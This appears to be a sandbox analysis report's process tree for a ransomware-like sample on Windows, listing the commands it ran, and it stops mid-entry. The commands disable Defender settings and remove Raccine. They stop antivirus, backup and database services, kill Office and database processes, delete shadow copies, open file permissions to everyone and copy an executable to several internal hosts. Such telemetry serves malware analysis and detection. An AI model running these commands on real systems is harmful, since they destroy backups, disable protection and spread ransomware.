- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  PID:744
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill" /F /IM RaccineSettings.exe
  2⤵
  - Kills process with taskkill
  PID:3380
- C:\Windows\SYSTEM32\reg.exe
  "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
  2⤵
  PID:976
- C:\Windows\SYSTEM32\reg.exe
  "reg" delete HKCU\Software\Raccine /F
  2⤵
  - Modifies registry key
  PID:2124
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
  2⤵
  PID:1944
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c rd /s /q D:\\$Recycle.bin
  2⤵
  PID:1476
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:13700
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
  2⤵
  PID:4036
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config upnphost start= auto
  2⤵
  PID:616
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  PID:5132
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  PID:5164
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  PID:5216
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config FDResPub start= auto
  2⤵
  PID:5252
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  PID:5316
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SSDPSRV start= auto
  2⤵
  PID:5448
- C:\Windows\SYSTEM32\arp.exe
  "arp" -a
  2⤵
  PID:5384
- C:\Windows\SYSTEM32\net.exe
  "net.exe" start SSDPSRV /y
  2⤵
  PID:5544
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start SSDPSRV /y
    3⤵
    PID:6032
- C:\Windows\SYSTEM32\net.exe
  "net.exe" start upnphost /y
  2⤵
  PID:5592
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start upnphost /y
    3⤵
    PID:6128
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:5636
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:4252
- C:\Windows\SYSTEM32\net.exe
  "net.exe" start Dnscache /y
  2⤵
  PID:5496
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start Dnscache /y
    3⤵
    PID:6040
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  2⤵
  PID:4020
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config Dnscache start= auto
  2⤵
  PID:2748
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /DELETE /TN "Raccine Rules Updater" /F
  2⤵
  PID:3664
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:5756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:5360
- C:\Windows\SYSTEM32\net.exe
  "net.exe" start FDResPub /y
  2⤵
  PID:5940
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 start FDResPub /y
    3⤵
    PID:5440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
  2⤵
  - Drops file in Windows directory
  PID:6064
- - C:\Users\Admin\AppData\Local\Temp\C63D4771-36BD-4704-AB63-F5904C2996D3\dismhost.exe
    C:\Users\Admin\AppData\Local\Temp\C63D4771-36BD-4704-AB63-F5904C2996D3\dismhost.exe {C3EB567D-3F9B-4975-93C0-E14E5E61625C}
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Windows directory
    PID:8000
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$SQL_2008 /y
  2⤵
  PID:5504
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SQL_2008 /y
    3⤵
    PID:5436
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net view
  2⤵
  PID:6108
- - C:\Windows\system32\net.exe
    net view
    3⤵
    - Discovers systems in the same network
    PID:9188
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$SQLEXPRESS /y
  2⤵
  PID:5792
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS /y
    3⤵
    PID:7896
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:616
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ekrn /y
  2⤵
  PID:5840
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ekrn /y
    3⤵
    PID:9512
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:2124
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:9404
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:5768
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:11880
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:2136
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:12344
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:5156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:5916
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSExchangeIS /y
  2⤵
  PID:6516
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSExchangeIS /y
    3⤵
    PID:14324
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$SYSTEM_BGC /y
  2⤵
  PID:6908
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$SYSTEM_BGC /y
    3⤵
    PID:15008
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Sophos System Protection Service” /y
  2⤵
  PID:8064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos System Protection Service” /y
    3⤵
    PID:15936
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Sophos AutoUpdate Service” /y
  2⤵
  PID:9544
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos AutoUpdate Service” /y
    3⤵
    PID:16188
- C:\Windows\SYSTEM32\net.exe
  "net.exe" use \\10.10.0.87
  2⤵
  PID:12236
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "Z:*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:12172
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "D:*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:12164
- C:\Users\Admin\AppData\Local\Temp\oerdk2ed.exe
  "C:\Users\Admin\AppData\Local\Temp\oerdk2ed.exe" \\10.10.0.87 -d -f -h -s -n 5 -c "C:\Users\Admin\AppData\Local\Temp\1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe"
  2⤵
  - Executes dropped EXE
  PID:10764
- C:\Users\Admin\AppData\Local\Temp\oerdk2ed.exe
  "C:\Users\Admin\AppData\Local\Temp\oerdk2ed.exe" \\10.10.0.84 -d -f -h -s -n 5 -c "C:\Users\Admin\AppData\Local\Temp\1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe"
  2⤵
  - Executes dropped EXE
  PID:13352
- C:\Users\Admin\AppData\Local\Temp\oerdk2ed.exe
  "C:\Users\Admin\AppData\Local\Temp\oerdk2ed.exe" \\10.10.0.77 -d -f -h -s -n 5 -c "C:\Users\Admin\AppData\Local\Temp\1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe"
  2⤵
  - Executes dropped EXE
  PID:17912
- C:\Users\Admin\AppData\Local\Temp\oerdk2ed.exe
  "C:\Users\Admin\AppData\Local\Temp\oerdk2ed.exe" \\10.10.0.72 -d -f -h -s -n 5 -c "C:\Users\Admin\AppData\Local\Temp\1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe"
  2⤵
  - Executes dropped EXE
  PID:17976
- C:\Windows\SYSTEM32\net.exe
  "net.exe" use \\10.10.0.72
  2⤵
  PID:17836
- C:\Windows\SYSTEM32\net.exe
  "net.exe" use \\10.10.0.77
  2⤵
  PID:17808
- C:\Windows\SYSTEM32\arp.exe
  "arp" -a
  2⤵
  PID:18268
- C:\Windows\SYSTEM32\net.exe
  "net.exe" use \\10.10.0.70
  2⤵
  PID:18324
- C:\Users\Admin\AppData\Local\Temp\oerdk2ed.exe
  "C:\Users\Admin\AppData\Local\Temp\oerdk2ed.exe" \\10.10.0.73 -d -f -h -s -n 5 -c "C:\Users\Admin\AppData\Local\Temp\1d4db8733c5f11ee8fca530aeb4a91069de04b1af64cbe1fa3ae2d3572a6e554.exe"
  2⤵
  - Executes dropped EXE
  PID:15520
- C:\Windows\SYSTEM32\net.exe
  "net.exe" use \\10.10.0.73
  2⤵
  PID:16252
- C:\Windows\SYSTEM32\net.exe
  "net.exe" use \\10.10.0.84
  2⤵
  PID:12336
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:12156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  2⤵
  PID:12140
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM oracle.exe /f
  2⤵
  - Kills process with taskkill
  PID:12120
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /f
  2⤵
  - Kills process with taskkill
  PID:12108
- C:\Windows\SYSTEM32\net.exe
  "net.exe" use \\10.10.0.73
  2⤵
  PID:11824
- C:\Windows\SYSTEM32\net.exe
  "net.exe" use \\10.10.0.72
  2⤵
  PID:9744
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysql.exe /f
  2⤵
  - Kills process with taskkill
  PID:12100
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqld.exe /f
  2⤵
  - Kills process with taskkill
  PID:12072
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sql.exe /f
  2⤵
  - Kills process with taskkill
  PID:12060
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM 1cv8.exe /f
  2⤵
  - Kills process with taskkill
  PID:12048
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM rphost.exe /f
  2⤵
  - Kills process with taskkill
  PID:12020
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM rmngr.exe /f
  2⤵
  - Kills process with taskkill
  PID:12012
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ragent.exe /f
  2⤵
  - Kills process with taskkill
  PID:11996
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM synctime.exe /F
  2⤵
  - Kills process with taskkill
  PID:11980
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlservr.exe /F
  2⤵
  - Kills process with taskkill
  PID:11972
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlbrowser.exe /F
  2⤵
  - Kills process with taskkill
  PID:11964
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlagent.exe /F
  2⤵
  - Kills process with taskkill
  PID:11956
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM oracle.exe /F
  2⤵
  - Kills process with taskkill
  PID:11948
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocssd.exe /F
  2⤵
  - Kills process with taskkill
  PID:11888
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocautoupds.exe /F
  2⤵
  - Kills process with taskkill
  PID:11872
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld-opt.exe /F
  2⤵
  - Kills process with taskkill
  PID:11424
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM wordpad.exe /F
  2⤵
  - Kills process with taskkill
  PID:11404
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld-nt.exe /F
  2⤵
  - Kills process with taskkill
  PID:11392
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM winword.exe /F
  2⤵
  - Kills process with taskkill
  PID:11384
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  PID:11304
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM visio.exe /F
  2⤵
  - Kills process with taskkill
  PID:11296
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  PID:11284
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM powerpnt.exe /F
  2⤵
  - Kills process with taskkill
  PID:10720
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM msftesql.exe /F
  2⤵
  - Kills process with taskkill
  PID:10704
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM tmlisten.exe /F
  2⤵
  - Kills process with taskkill
  PID:10680
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM outlook.exe /F
  2⤵
  - Kills process with taskkill
  PID:10664
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM msaccess.exe /F
  2⤵
  - Kills process with taskkill
  PID:10648
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM PccNTMon.exe /F
  2⤵
  - Kills process with taskkill
  PID:10624
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM onenote.exe /F
  2⤵
  - Kills process with taskkill
  PID:10556
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM isqlplussvc.exe /F
  2⤵
  - Kills process with taskkill
  PID:10544
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM Ntrtscan.exe /F
  2⤵
  - Kills process with taskkill
  PID:10532
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  PID:10520
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM xfssvccon.exe /F
  2⤵
  - Kills process with taskkill
  PID:10512
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM dbsnmp.exe /F
  2⤵
  - Kills process with taskkill
  PID:10504
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" IM thunderbird.exe /F
  2⤵
  - Kills process with taskkill
  PID:10468
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM zoolz.exe /F
  2⤵
  - Kills process with taskkill
  PID:10456
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mbamtray.exe /F
  2⤵
  - Kills process with taskkill
  PID:10440
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM infopath.exe /F
  2⤵
  - Kills process with taskkill
  PID:10428
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM ocomm.exe /F
  2⤵
  - Kills process with taskkill
  PID:10416
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM thebat64.exe /F
  2⤵
  - Kills process with taskkill
  PID:10400
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM dbeng50.exe /F
  2⤵
  - Kills process with taskkill
  PID:10388
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM tbirdconfig.exe /F
  2⤵
  - Kills process with taskkill
  PID:10372
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqlwriter.exe /F
  2⤵
  - Kills process with taskkill
  PID:10360
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM CNTAoSMgr.exe /F
  2⤵
  - Kills process with taskkill
  PID:10348
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM excel.exe /F
  2⤵
  - Kills process with taskkill
  PID:10336
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM encsvc.exe /F
  2⤵
  - Kills process with taskkill
  PID:10324
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM steam.exe /F
  2⤵
  - Kills process with taskkill
  PID:10312
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM thebat.exe /F
  2⤵
  - Kills process with taskkill
  PID:10300
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM agntsvc.exe /F
  2⤵
  - Kills process with taskkill
  PID:10280
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM firefoxconfig.exe /F
  2⤵
  - Kills process with taskkill
  PID:9676
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM sqbcoreservice.exe /F
  2⤵
  - Kills process with taskkill
  PID:9668
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /F
  2⤵
  - Kills process with taskkill
  PID:9656
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  PID:9644
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  PID:9636
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  PID:9628
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ReportServer /y
  2⤵
  PID:9620
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SamSs /y
  2⤵
  PID:9612
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:6788
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:9212
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:9204
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:9196
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop UI0Detect /y
  2⤵
  PID:9180
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSOLAP$SQL_2008 /y
  2⤵
  PID:9172
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Symantec System Recovery” /y
  2⤵
  PID:9164
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ReportServer$SYSTEM_BGC /y
  2⤵
  PID:9156
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Sophos Device Control Service” /y
  2⤵
  PID:9148
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSExchangeMTA /y
  2⤵
  PID:9140
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SstpSvc /y
  2⤵
  PID:9132
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop msftesql$PROD /y
  2⤵
  PID:9124
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “SQLsafe Filter Service” /y
  2⤵
  PID:9116
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ReportServer$SQL_2008 /y
  2⤵
  PID:9108
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SMTPSvc /y
  2⤵
  PID:9100
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Sophos Clean Service” /y
  2⤵
  PID:9092
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop DCAgent /y
  2⤵
  PID:6444
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$SHAREPOINT /y
  2⤵
  PID:6452
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:6344
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AVP /y
  2⤵
  PID:6272
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$SBSMONITORING /y
  2⤵
  PID:8176
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$SBSMONITORING /
  2⤵
  PID:8168
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:8160
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop Antivirus /y
  2⤵
  PID:8140
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$PROFXENGAGEMENT /y
  2⤵
  PID:8132
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:8124
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:8116
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$PROD /y
  2⤵
  PID:8108
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:8100
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Sophos Web Control Service” /y
  2⤵
  PID:8088
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$PRACTTICEBGC /y
  2⤵
  PID:8080
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecDeviceMediaService /y
  2⤵
  PID:8072
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$PRACTICEMGT /y
  2⤵
  PID:8056
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:8048
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Sophos Safestore Service” /y
  2⤵
  PID:8040
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop audioendpointbuilder /y
  2⤵
  PID:8032
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$ECWDB2 /y
  2⤵
  PID:8024
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:8016
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Sophos Message Router” /y
  2⤵
  PID:8008
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop unistoresvc_1af40a /y
  2⤵
  PID:8000
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSSQL$BKUPEXEC /y
  2⤵
  PID:7992
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ARSM /y
  2⤵
  PID:7984
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Sophos MCS Client” /y
  2⤵
  PID:7976
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop msexchangeimap4 /y
  2⤵
  PID:7968
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “intel(r) proset monitoring service” /y
  2⤵
  PID:7960
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSOLAP$TPSAMA /y
  2⤵
  PID:7952
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:7944
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Sophos MCS Agent” /y
  2⤵
  PID:7936
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop msexchangeadtopology /y
  2⤵
  PID:7928
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “aphidmonitorservice” /y
  2⤵
  PID:7920
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSOLAP$TPS /y
  2⤵
  PID:7912
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Zoolz 2 Service” /y
  2⤵
  PID:7904
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ReportServer$TPSAMA /y
  2⤵
  PID:7888
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Sophos Health Service” /y
  2⤵
  PID:7880
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSExchangeSRS /y
  2⤵
  PID:7872
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop W3Svc /y
  2⤵
  PID:7864
- C:\Windows\SYSTEM32\net.exe
  "net.exe" use \\10.10.0.77
  2⤵
  PID:14128
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSOLAP$SYSTEM_BGC /y
  2⤵
  PID:7856
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Veeam Backup Catalog Data Service” /y
  2⤵
  PID:7848
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ReportServer$TPS /y
  2⤵
  PID:7840
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “Sophos File Scanner Service” /y
  2⤵
  PID:7832
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSExchangeSA /y
  2⤵
  PID:7824
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop mozyprobackup /y
  2⤵
  PID:7808
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MSExchangeMGMT /y
  2⤵
  PID:7800
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop POP3Svc /y
  2⤵
  PID:7792
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop MsDtsServer110 /y
  2⤵
  PID:7784
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop “SQLsafe Backup Service” /y
  2⤵
  PID:7776
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop vapiendpoint /y
  2⤵
  PID:7768
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop mssql$vim_sqlexp /y
  2⤵
  PID:7760
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop WRSVC /y
  2⤵
  PID:7752
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLTELEMETRY$ECWDB2 /y
  2⤵
  PID:7744
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop TrueKeyServiceHelper /y
  2⤵
  PID:7736
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLTELEMETRY /y
  2⤵
  PID:7728
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop TrueKeyScheduler /y
  2⤵
  PID:7720
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLSERVERAGENT /y
  2⤵
  PID:7704
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop TrueKey /y
  2⤵
  PID:7696
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLSafeOLRService /y
  2⤵
  PID:7688
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop tmlisten /y
  2⤵
  PID:7680
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLBrowser /y
  2⤵
  PID:7672
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop TmCCSF /y
  2⤵
  PID:7664
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$VEEAMSQL2012 /y
  2⤵
  PID:7656
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop swi_update_64 /y
  2⤵
  PID:7648
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
  2⤵
  PID:7640
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop swi_update /y
  2⤵
  PID:7632
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SQLAgent$TPSAMA /y
  2⤵
  PID:7624
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop swi_service /y
  2⤵
  PID:7616
- C:\Windows\SYSTEM32\net.exe
